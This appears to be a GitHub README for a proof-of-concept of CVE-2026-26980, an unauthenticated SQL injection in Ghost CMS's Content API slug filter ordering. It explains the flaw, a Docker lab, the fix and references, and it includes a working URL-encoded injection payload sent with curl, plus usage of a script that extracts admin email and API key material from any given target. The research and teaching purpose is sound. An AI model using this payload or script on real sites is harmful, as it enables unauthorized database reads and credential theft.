
Ghost Content API SQL Injection
★ CVE-2026-26980 TryGhost Ghost CMS Content API SQL Injection PoC ★
https://github.com/user-attachments/assets/e7fab29e-8382-4ecc-986c-68852c28a32c
CVE-2026-26980 is an unauthenticated SQL Injection vulnerability in TryGhost Ghost CMS Content API. The vulnerable path is reachable through the public Content API filter handling logic when slug:[...] ordering is processed.
This PoC builds a controlled Ghost 6.19.0 lab and demonstrates how a public Content API request can be turned into a boolean-based database read primitive.
| Product | Affected Version | Fixed Version | Vulnerability Type |
|---|---|---|---|
| TryGhost Ghost CMS | >= 3.24.0, < 6.19.1 | 6.19.1 | SQL Injection |
The lab environment uses Ghost 6.19.0.
Build and run the vulnerable Ghost CMS environment using Docker:
docker build -t cve-2026-26980 .
docker run --rm -d -p 9102:9102 --name cve-2026-26980 cve-2026-26980
Example:
http://127.0.0.1:9102/
The lab runs a real vulnerable Ghost 6.19.0 instance on port 9102.
The lab Content API key is:
EQSTLab299
CVE-2026-26980 : TryGhost Ghost CMS Content API SQL Injection vulnerability
description: A SQL injection vulnerability in TryGhost Ghost CMS before 6.19.1 allows an unauthenticated attacker with access to a public Content API key to read arbitrary database values through the Content API filter parameter. The issue occurs in the slug:[...] filter ordering path, where user-controlled slug values are inserted into raw SQL without proper parameter binding.
Ghost Content API keys are commonly exposed to browsers by design through themes, search, portal, or frontend JavaScript. This means the vulnerable path can be reachable without Ghost Admin authentication.
git clone https://github.com/EQSTLab/CVE-2026-26980.git
cd CVE-2026-26980
python3 poc.py --url [Target]
Optional custom Content API key:
python3 poc.py --url [Target] --key [Content API Key]
python3 poc.py --url [Target]
python3 poc.py --url [Target] --key EQSTLab299
[Target] example: http://127.0.0.1:9102
========================================================================
Ghost CMS - Unauthenticated SQLi Data Extraction
========================================================================
Target: [Target]
API Key: [Content API Key]
Endpoint: Content API (public, no auth)
[*] Calibrating oracle... OK
[*] Phase 1: Recon (fast checks)
length(users.email) = 17
length(users.password) = 60
count(settings) (3 chars): 110
count(users) (1 chars): 1
count(api_keys) (1 chars): 9
[*] Phase 2: Extracting values
Admin email (17 chars): [email protected]
Admin name (5 chars): Ghost
Admin API key ID (24 chars): <redacted>
Admin API secret (64 chars): <redacted>
[*] Phase 3: DB snapshot
Result: DB read primitive confirmed
The public PoC demonstrates database read impact by extracting lab-safe database metadata and Ghost API key material. It does not print the challenge flag.
GET /ghost/api/content/tags/?key=[Content API Key]&filter=slug:[...]
The vulnerable logic exists in Ghost's Content API input serialization path for slug:[...] filters. Ghost supports list-style slug filters and preserves the requested slug order by generating an ORDER BY CASE expression.
In vulnerable versions, user-controlled slug values are inserted into an SQL fragment. A simplified vulnerable pattern is:
for (const [index, slug] of slugs.entries()) {
order.push(`WHEN \`${tableName}\`.\`slug\` = '${slug}' THEN ${index}`);
}
Because slug is attacker-controlled and is inserted into the SQL string without parameter binding, a crafted Content API filter can break out of the intended comparison and inject additional SQL logic.
The lab PoC uses two public tags, bacon and chorizo, as an observable boolean oracle.
bacon is sorted first.chorizo is sorted first.By repeating this test with different SQL conditions, the PoC can infer database values one character at a time.
Boolean oracle check with curl:
curl -s "[Target]/ghost/api/content/tags/?key=EQSTLab299&filter=slug%3A%5B%27%2F%2A%2A%2FAND%2F%2A%2A%2F0%2F%2A%2A%2FTHEN%2F%2A%2A%2F99%2F%2A%2A%2FWHEN%2F%2A%2A%2Flength%28%60tags%60.%60slug%60%29%3D5%2F%2A%2A%2FTHEN%2F%2A%2A%2F%28SELECT+CASE+WHEN+1%3D1+THEN+0+ELSE+2+END%29%2F%2A%2A%2FWHEN%2F%2A%2A%2Flength%28%60tags%60.%60slug%60%29%3D7%2F%2A%2A%2FTHEN%2F%2A%2A%2F1%2F%2A%2A%2FWHEN%2F%2A%2A%2F0%2F%2A%2A%2FOR%2F%2A%2A%2F%27%2Cchorizo%2Cbacon%5D"
The root cause is unsafe construction of an SQL ORDER BY CASE fragment from user-controlled slug values. The vulnerable code attempts to preserve Content API response order, but it treats parsed NQL filter values as trusted SQL text.
A robust fix must:
Ghost fixed this issue in 6.19.1 by replacing raw interpolation with parameterized query bindings.
This is a CWE-89: Improper Neutralization of Special Elements used in an SQL Command issue.
Because the Ghost Content API is intentionally public, this vulnerability can allow an unauthenticated attacker to create a database read primitive through a public content endpoint. Depending on the database contents and permissions, an attacker may be able to:
+-------------------------------------------+
| Remote Attacker |
+-------------------------------------------+
|
| GET /ghost/api/content/tags/
| filter = slug:[<SQLi payload>,chorizo,bacon]
v
+-------------------------------------------+
| Ghost Public Content API |
+-------------------------------------------+
|
| Unsafe slug order SQL construction
v
+-------------------------------------------+
| ORDER BY CASE SQL Injection |
+-------------------------------------------+
|
| Boolean difference in tag ordering
v
+-------------------------------------------+
| Unauthenticated DB Read |
+-------------------------------------------+
This lab runs a real vulnerable Ghost 6.19.0 instance rather than a minimal mock server.
The lab seeds:
EQSTLab299bacon, chorizoThe public poc.py is designed for demonstration videos and public writeups. It shows the SQL injection impact without printing the challenge flag.
docker stop cve-2026-26980
This repository is not intended to be SQL Injection exploit to CVE-2026-26980. The purpose of this project is to help people learn about this vulnerability, and perhaps test their own applications.
https://github.com/TryGhost/Ghost/security/advisories/GHSA-w52v-v783-gw97
https://github.com/TryGhost/Ghost/commit/30868d632b2252b638bc8a4c8ebf73964592ed91
https://github.com/TryGhost/Ghost/releases/tag/v6.19.1
https://nvd.nist.gov/vuln/detail/CVE-2026-26980